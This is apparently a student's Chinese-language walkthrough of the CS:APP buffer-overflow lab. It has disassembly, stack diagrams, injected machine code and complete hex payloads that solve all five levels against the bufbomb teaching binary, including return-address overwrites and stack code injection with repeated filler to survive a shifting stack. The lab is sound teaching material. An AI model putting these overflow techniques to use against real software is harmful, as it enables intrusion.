这个实验(文件下载)非常好玩!这个实验没有标准答案。

在开始这个实验之前记得建立cookie,并且在运行bufbomb的时候一定要传入cookie,需要hex2raw这个工具把我们的十六进制攻击代码转化为字符串:

zhang@zhang-virtual-machine:~/CSAPP/buflab$ ./makecookie zzh
0x2552e1a9
zhang@zhang-virtual-machine:~/CSAPP/buflab$ ./hex2raw < level0.txt | ./bufbomb -u zzh
Userid: zzh
Cookie: 0x2552e1a9
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

和上一个实验一样,我需要对程序进行反编译,查看程序的汇编代码。我们先来观察一下getbuf函数,它是我们注入攻击代码的入口:

080491f4 <getbuf>:
 80491f4:	55                   	push   %ebp
 80491f5:	89 e5                	mov    %esp,%ebp
 80491f7:	83 ec 38             	sub    $0x38,%esp
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
 80491fd:	89 04 24             	mov    %eax,(%esp)
 8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 804920a:	c9                   	leave  
 804920b:	c3                   	ret

经过观察,函数的栈是这样的(每一格代表一个双字):

Return Address --
Old %ebp --
--
--
Input String --
--
--
--
--
--
--
--

Level 0

这一关的任务在getbuf结束时跳转到smoke函数,我们先来看一下smoke函数的位置:

08048c18 <smoke>:

现在只需要把smoke的地址覆盖到getbuf函数栈中的Return Address位置即可:

Return Address 08 04 8c 18
Old %ebp --
--
--
Input String 00 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48

Input String是可以随便输入的,但是一定不能超出范围,及时使用’\0’结束字符串,Return Address与Input String之间的空间内建议补上原来的值。

得到攻击代码:

48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 c0 ca fb f7 80 cd fb f7 50 2f 68 55 18 8c 04 08

Level 1

这一关的任务要求在getbuf函数结束后跳转到fizz函数,并且把自己的Cookie作为参数传递给函数。同样,先观察函数的汇编代码

08048c42 <fizz>:
 8048c42:	55                   	push   %ebp
 8048c43:	89 e5                	mov    %esp,%ebp
 8048c45:	83 ec 18             	sub    $0x18,%esp
 8048c48:	8b 45 08             	mov    0x8(%ebp),%eax
 8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048c51:	75 26                	jne    8048c79 <fizz+0x37>
 8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)
 8048c5e:	08 
 8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c66:	e8 55 fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c6b:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c72:	e8 04 07 00 00       	call   804937b <validate>
 8048c77:	eb 18                	jmp    8048c91 <fizz+0x4f>
 8048c79:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c7d:	c7 44 24 04 40 a3 04 	movl   $0x804a340,0x4(%esp)
 8048c84:	08 
 8048c85:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c8c:	e8 2f fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c91:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c98:	e8 63 fc ff ff       	call   8048900 <exit@plt>

不难发现,fizz函数的参数是放在%ebp+0x8位置的。因此需要把fizz函数的地址覆盖到Return Address,由于getbuf函数结束时会恢复栈,而fizz函数会重新分配栈空间,所以把自己的Cookie覆盖到如下位置:

val 25 52 e1 a9
--
--
Return Address 08 04 8c 42
Old %ebp --
--
--
Input String 48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48
48 48 48 48

得到攻击代码:

48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 c0 ca fb f7 80 cd fb f7 50 2f 68 55 42 8c 04 08 c0 ca fb f7 a9 e1 52 25

Level 2

这一关要求我们执行缓冲区的代码,修改全局变量global_value的值为自己的cookie,然后返回bang函数。我们先来观察一下bang函数,找到全局变量的地址和函数地址,好让我们做修改和返回:

08048c9d <bang>:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax		# Get global_value
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 <bang+0x39>
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b <validate>
 8048cd4:	eb 18                	jmp    8048cee <bang+0x51>
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 <exit@plt>

不难发现,global_value保存在0x804d100,Cookie保存在0x804d108,bang函数的地址为0x8048c9d,使用gdb工具得知缓冲区的起始地址为0x55682ef8,我们需要编写代码把cookie赋值给global_value,然后成功返回bang函数。我们先编写以下的汇编代码来实现目的:

00000000 <.text>:
   0:	68 9d 8c 04 08       	push   $0x8048c9d
   5:	a1 08 d1 04 08       	mov    0x804d108,%eax
   a:	a3 00 d1 04 08       	mov    %eax,0x804d100
   f:	c3                   	ret

把缓冲区的地址覆盖到Return Address,把上面的代码放入缓冲区,让getbuf函数结束后跳转到缓冲区执行代码:

Return Address 55 68 2e f8
Old %ebp --
--
--
Input String 00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c3 08 04 d1
00 a3 08 04
d1 08 a1 08
04 8c 9d 68

得到攻击代码:

 68 9d 8c 04 08 a1 08 d1 04 08 a3 00 d1 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ca fb f7 80 cd fb f7 50 2f 68 55 f8 2e 68 55

Leve 3

这一关要求我们利用执行缓冲区代码的方式修改getbuf函数的返回值为自己的cookie。观察getbuf函数的汇编代码可以发现,getbuf函数的地址为0x080491f4,getbuf函数的返回值保存在寄存器%eax中。除此之外,我们还要看一下test函数的汇编代码:

08048daa <test>:
 8048daa:	55                   	push   %ebp
 8048dab:	89 e5                	mov    %esp,%ebp
 8048dad:	53                   	push   %ebx
 8048dae:	83 ec 24             	sub    $0x24,%esp
 8048db1:	e8 da ff ff ff       	call   8048d90 <uniqueval>
 8048db6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048db9:	e8 36 04 00 00       	call   80491f4 <getbuf>
 8048dbe:	89 c3                	mov    %eax,%ebx			# Get return value
 8048dc0:	e8 cb ff ff ff       	call   8048d90 <uniqueval>
 8048dc5:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048dc8:	39 d0                	cmp    %edx,%eax
 8048dca:	74 0e                	je     8048dda <test+0x30>
 8048dcc:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048dd3:	e8 e8 fa ff ff       	call   80488c0 <puts@plt>
 8048dd8:	eb 46                	jmp    8048e20 <test+0x76>
 8048dda:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048de0:	75 26                	jne    8048e08 <test+0x5e>
 8048de2:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048de6:	c7 44 24 04 2a a5 04 	movl   $0x804a52a,0x4(%esp)
 8048ded:	08 
 8048dee:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048df5:	e8 c6 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048dfa:	c7 04 24 03 00 00 00 	movl   $0x3,(%esp)
 8048e01:	e8 75 05 00 00       	call   804937b <validate>
 8048e06:	eb 18                	jmp    8048e20 <test+0x76>
 8048e08:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e0c:	c7 44 24 04 47 a5 04 	movl   $0x804a547,0x4(%esp)
 8048e13:	08 
 8048e14:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e1b:	e8 a0 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e20:	83 c4 24             	add    $0x24,%esp
 8048e23:	5b                   	pop    %ebx
 8048e24:	5d                   	pop    %ebp
 8048e25:	c3                   	ret

可以发现,在call 指令后一条指令的地址是0x8048dbe,这就是我们缓冲区代码执行完后要返回的地址了。因此,我们编写以下汇编代码:

00000000 <.text>:
   0:	68 be 8d 04 08       	push   $0x8048dbe
   5:	a1 08 d1 04 08       	mov    0x804d108,%eax
   a:	c3                   	ret

这一关和上一关非常类似。

Return Address 55 68 2e f8
Old %ebp --
--
--
Input String 00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 c3 08 04
d1 08 a1 08
04 8d aa 68

得到攻击代码:

 68 be 8d 04 08	a1 08 d1 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ca fb f7 80 cd fb f7 50 2f 68 55 f8 2e 68 55

Level 4

这一关和第3关非常类似,只是栈空间的地址会发生变化。首先,我们来研究一下testn函数和getbufn函数的汇编代码:

8048e26 <testn>:
 8048e26:	55                   	push   %ebp
 8048e27:	89 e5                	mov    %esp,%ebp
 8048e29:	53                   	push   %ebx
 8048e2a:	83 ec 24             	sub    $0x24,%esp
 8048e2d:	e8 5e ff ff ff       	call   8048d90 <uniqueval>
 8048e32:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048e35:	e8 d2 03 00 00       	call   804920c <getbufn>
 8048e3a:	89 c3                	mov    %eax,%ebx
 8048e3c:	e8 4f ff ff ff       	call   8048d90 <uniqueval>
 8048e41:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048e44:	39 d0                	cmp    %edx,%eax
 8048e46:	74 0e                	je     8048e56 <testn+0x30>
 8048e48:	c7 04 24 88 a3 04 08 	movl   $0x804a388,(%esp)
 8048e4f:	e8 6c fa ff ff       	call   80488c0 <puts@plt>
 8048e54:	eb 46                	jmp    8048e9c <testn+0x76>
 8048e56:	3b 1d 08 d1 04 08    	cmp    0x804d108,%ebx
 8048e5c:	75 26                	jne    8048e84 <testn+0x5e>
 8048e5e:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e62:	c7 44 24 04 b4 a3 04 	movl   $0x804a3b4,0x4(%esp)
 8048e69:	08 
 8048e6a:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e71:	e8 4a fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e76:	c7 04 24 04 00 00 00 	movl   $0x4,(%esp)
 8048e7d:	e8 f9 04 00 00       	call   804937b <validate>
 8048e82:	eb 18                	jmp    8048e9c <testn+0x76>
 8048e84:	89 5c 24 08          	mov    %ebx,0x8(%esp)
 8048e88:	c7 44 24 04 62 a5 04 	movl   $0x804a562,0x4(%esp)
 8048e8f:	08 
 8048e90:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e97:	e8 24 fb ff ff       	call   80489c0 <__printf_chk@plt>
 8048e9c:	83 c4 24             	add    $0x24,%esp
 8048e9f:	5b                   	pop    %ebx
 8048ea0:	5d                   	pop    %ebp
 8048ea1:	c3                   	ret

从汇编代码得知,testn函数的栈空间大小为0x28,缓冲区中的代码完成后需要返回到0x08048e3a。

0804920c <getbufn>:
 804920c:	55                   	push   %ebp
 804920d:	89 e5                	mov    %esp,%ebp
 804920f:	81 ec 18 02 00 00    	sub    $0x218,%esp
 8049215:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 804921b:	89 04 24             	mov    %eax,(%esp)
 804921e:	e8 d7 fa ff ff       	call   8048cfa <Gets>
 8049223:	b8 01 00 00 00       	mov    $0x1,%eax
 8049228:	c9                   	leave  
 8049229:	c3                   	ret    
 804922a:	90                   	nop
 804922b:	90                   	nop

由于栈空间地址是不固定的且旧的栈帧会被攻击代码所覆盖,因此除了要修改getbufn函数的返回值外,还需要根据栈顶的地址重置栈帧的地址。汇编代码如下:

00000000 <.text>:
   0:	68 3a 8e 04 08       	push   $0x8048e3a
   5:	a1 08 d1 04 08       	mov    0x804d108,%eax
   a:	89 e5                	mov    %esp,%ebp
   c:	83 c5 2c             	add    $0x2c,%ebp
   f:	c3                   	ret

由于缓冲区的地址是不固定的,所以我们要好好研究一下怎么构造我们的攻击代码,我们先看看缓冲区的大概范围,可以发现范围在0x55682c98~0x55682d88,所以我们可以把Return Address设为0x55682d88,为了让所有的攻击代码全部有效,我们可以把操作过程的代码放在字符串的第240个字节位置开始,之前的位置全部用nop指令来填充。或者可以采用另外一种思路,由于指令的编码总大小为16字节,缓冲区的地址也是16字节对齐的,所以也可以用指令编码来反复填充整个缓冲区。

序号 起始地址 结束地址
1 0x55682d18 0x55682f17
2 0x55682c98 0x55682e97
3 0x55682cd8 0x55682ed7
4 0x55682d68 0x55682f67
5 0x55682d88 0x55682f87


Return Address 55 68 2c 98
Old %ebp --
--
--
Input String 00 …
c3 24 c5 83
e5 89 08 04
d1 08 a1 08
04 8e 3a 68
90 90 90 90

得到攻击代码:

68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 68 3a 8e 04 08 a1 08 d1 04 08 89 e5 83 c5 2c c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ca fb f7 80 cd fb f7 00 00 00 00 88 2d 68 55